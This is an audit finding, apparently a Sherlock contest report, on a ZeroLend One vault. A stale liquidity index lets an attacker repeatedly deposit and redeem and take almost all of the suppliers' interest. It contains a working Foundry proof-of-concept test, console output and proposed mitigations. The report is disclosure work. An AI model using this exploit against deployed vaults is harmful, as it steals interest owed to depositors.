Joyous Cedar Tortoise

High

# Attacker can continually steal all the interest earned by suppliers in the vault

### Summary

An attacker can repeatedly front-run pool actions with an atomic action that steals all the interest earned by a particular vault. 

### Root Cause

`CuratedVault.totalAssets()` calls [`Pool.getBalanceByPosition()`](https://github.com/sherlock-audit/2024-06-new-scope/blob/a150815e6e6cae8b14a4ca5bb05d545f6a5e07ae/zerolend-one/contracts/core/pool/PoolGetters.sol#L47-L49)

```solidity
function getBalanceByPosition(address asset, bytes32 positionId) external view returns (uint256 balance) {
    return _balances[asset][positionId].getSupplyBalance(_reserves[asset].liquidityIndex);
}
```

As shown above, `getBalanceByPosition()` uses the stored liquidity index to obtain the supply balance.

The issue is that `_accrueFee` does not force update pool reserves first. This means that the `totalAssets()` that it obtains is not calculated using the pool’s latest `liquidityIndex`.

This allows the attacker to use `deposit` or `mint` with stale liquidity indexes, allowing them to mint shares for cheaper. Then they call `redeem`  to redeem more assets than they deposited, stealing the interest accrued as the liquidity index updates to the correct value.

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

Whenever a pool’s true liquidity index is greater than the stored liquidity index, an attacker can atomically deposit into a vault and withdraw immediately after to steal interest from all other vault suppliers.

### Impact

Attacker steals nearly 100% of the interest accrued to suppliers.

### PoC

This specific PoC requires position.getSupplyBalance() to be calculated correctly  (where the last supplyShares are multiplied by the last liquidity index). Currently that calculation is incorrect. The calculation should be identical to ReserveSupplyConfiguration.getSupplyBalance(), this has been reported as a separate issue. 

**Make the following change in `contracts/core/pool/configuration/PositionBalanceConfiguration.sol`:**
<details>

```diff
function getSupplyBalance(DataTypes.PositionBalance storage self, uint256 index) public view returns (uint256 supply) {
-   uint256 increase = self.supplyShares.rayMul(index) - self.supplyShares.rayMul(self.lastSupplyLiquidtyIndex);
-   return self.supplyShares + increase;
+   return self.supplyShares.rayMul(index); // <-----MY FIX TO THE BUG
}
```
</details>

**Coded PoC (add to `test/forge/core/vaults/ERC4626Test.t.sol`):** 

<details>

```solidity
function testJ_DepositThenRedeem() public {
    IPool pool0 = allMarkets[0];

    address attacker = makeAddr('attacker');
    uint256 initialBalance = 100e18;
    uint256 deposited = 100e18;
    uint256 borrowedAssets = deposited * 99 / 100; // leave 1% of the deposited funds- that is stolen by attacker
    uint256 attackerAssets = 100_000e18; // can be flash loaned

    deal(address(loanToken), attacker, attackerAssets * 2);
    deal(address(loanToken), supplier, initialBalance);

    vm.startPrank(supplier);
    uint256 shares = vault.deposit(deposited, supplier);

    //Borrower borrows
    deal(address(loanToken), borrower, initialBalance);
    deal(address(collateralToken), borrower, initialBalance * 2);

    vm.startPrank(borrower);
    loanToken.approve(address(pool0), type(uint256).max);
    pool0.supplySimple(address(collateralToken), borrower, borrowedAssets * 15 / 10, 0);
    pool0.borrowSimple(address(loanToken), borrower, borrowedAssets, 0);
    vm.stopPrank();

    vm.startPrank(attacker);
    for (uint256 i = 0; i < 50; i++) {
        // Time passes to accrue interest
        vm.warp(block.timestamp + 10 days / 50);

        loanToken.approve(address(vault), type(uint256).max);
        uint256 sharesMinted = vault.deposit(attackerAssets, attacker); // this updates the ting only after doing share calc
        vault.redeem(sharesMinted, attacker, attacker); // redeem more assets for the same amount of shares
    }
    vm.stopPrank();

    // Borrower repays, and pays their interest
    vm.startPrank(borrower);
    DataTypes.SharesType memory repayData = pool0.repaySimple(address(loanToken), type(uint256).max, 0);
    pool0.withdrawSimple(address(collateralToken), borrower, type(uint256).max, 0);
    vm.stopPrank();
    uint256 interestPaid = repayData.assets - borrowedAssets;

    // Supplier withdraws from the vault
    vm.startPrank(supplier);
    uint256 assetsWithdrawn = vault.redeem(shares, supplier, supplier);
    vm.stopPrank();

    uint256 attackerProfit = loanToken.balanceOf(attacker) - attackerAssets * 2;
    console.log('interestPaid: %e', interestPaid);
    console.log('attackerProfit: %e', attackerProfit);
    console.log('supplierProfit: %e', assetsWithdrawn - deposited);
}
```
</details>

**Console Output:**
```bash
Ran 1 test for test/forge/core/vaults/ERC4626Test.sol:ERC4626Test
[PASS] testJ_DepositThenRedeem() (gas: 11345508)
Logs:
	interestPaid: 1.000720276253985225e18
  attackerProfit: 9.9961951619305216e17
  supplierProfit: 9.99624412475311e14
```

The console output demonstrates that the attacker earned 99%+ of the interest during that period

### Mitigation

The ideal solution would be to update the `totalAssets()` function, and use the formula `assets = shares * pool.getNormalizedIncome()`to obtain the up-to-date balance of the vault in each pool. 

Another solution is to call `pool.forceUpdateReserve()` at the start to ensure that `totalAssets()` is up to date. However in this case other functions that use `totalAssets()` will still be using a stale liquidity index to calculate the supply balance.